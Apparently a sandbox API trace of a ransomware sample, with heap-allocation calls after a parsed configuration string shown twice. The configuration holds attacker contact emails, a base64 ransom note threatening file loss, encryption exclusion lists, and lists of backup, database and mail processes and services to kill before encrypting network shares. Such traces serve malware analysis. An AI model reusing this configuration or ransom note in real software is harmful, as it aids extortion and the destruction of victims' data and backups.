\"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x27fa5c, _Radix=0 | out: _EndPtr=0x27fa5c*=", \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 5 [0034.476] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4de820, Size=0x1c) returned 0x4df7d8 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de820 [0034.476] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df7d8, Size=0x20) returned 0x4df828 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de840 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfc0 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de860 [0034.476] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfc0, Size=0x8) returned 0x4dbfb0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de880 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df828, Size=0x24) returned 0x4d84d0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de8a0 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d84d0, Size=0x28) returned 0x4d8500 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de8c0 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d8500, Size=0x2c) returned 0x4da720 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de8e0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfc0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de900 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfd0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de920 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0x8) returned 0x4dbfe0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de940 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfe0, Size=0xc) returned 0x4d3848 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de960 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3848, Size=0x10) returned 0x4d3830 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de980 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3830, Size=0x14) returned 0x4de9a0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de9c0 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4de9a0, Size=0x18) returned 0x4de9e0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de9a0 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4de9e0, Size=0x1c) returned 0x4df828 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de9e0 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df828, Size=0x20) returned 0x4df7d8 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dea00 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df7d8, Size=0x24) returned 0x4d8500 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dea20 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d8500, Size=0x28) returned 0x4d84d0 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dea40 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d84d0, Size=0x2c) returned 0x4da758 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dea60 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da758, Size=0x30) returned 0x4da790 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dea80 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da790, Size=0x34) returned 0x4d9968 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deaa0 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d9968, Size=0x38) returned 0x4d99a8 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deac0 [0034.477] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d99a8, Size=0x3c) returned 0x4d2258 [0034.477] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deae0 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d2258, Size=0x40) returned 0x4d22a0 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deb00 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d22a0, Size=0x44) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deb20 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x48) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deb40 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x4c) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deb60 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x50) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deb80 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x54) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deba0 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x58) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4debc0 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x5c) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4debe0 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x60) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dec00 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x64) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dec20 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x68) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dec40 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x6c) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dec60 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x70) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dec80 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x74) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4deca0 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x78) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4decc0 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x7c) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4dece0 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x80) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4ded00 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x84) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4ded20 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x88) returned 0x4e1658 [0034.478] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4ded40 [0034.478] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x8c) returned 0x4e1658 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4ded60 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x90) returned 0x4e1658 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3d20 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e1658, Size=0x94) returned 0x4e1658 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3d40 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfc0, Size=0x8) returned 0x4dbfe0 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3d60 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfc0 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3d80 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfc0, Size=0x8) returned 0x4dbfd0 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3da0 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0xc) returned 0x4d3830 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3dc0 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3830, Size=0x10) returned 0x4d3848 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3de0 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3848, Size=0x14) returned 0x4e3e00 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3e20 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e3e00, Size=0x18) returned 0x4e3e40 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3e00 [0034.479] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e3e40, Size=0x1c) returned 0x4df7d8 [0034.479] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e3e40 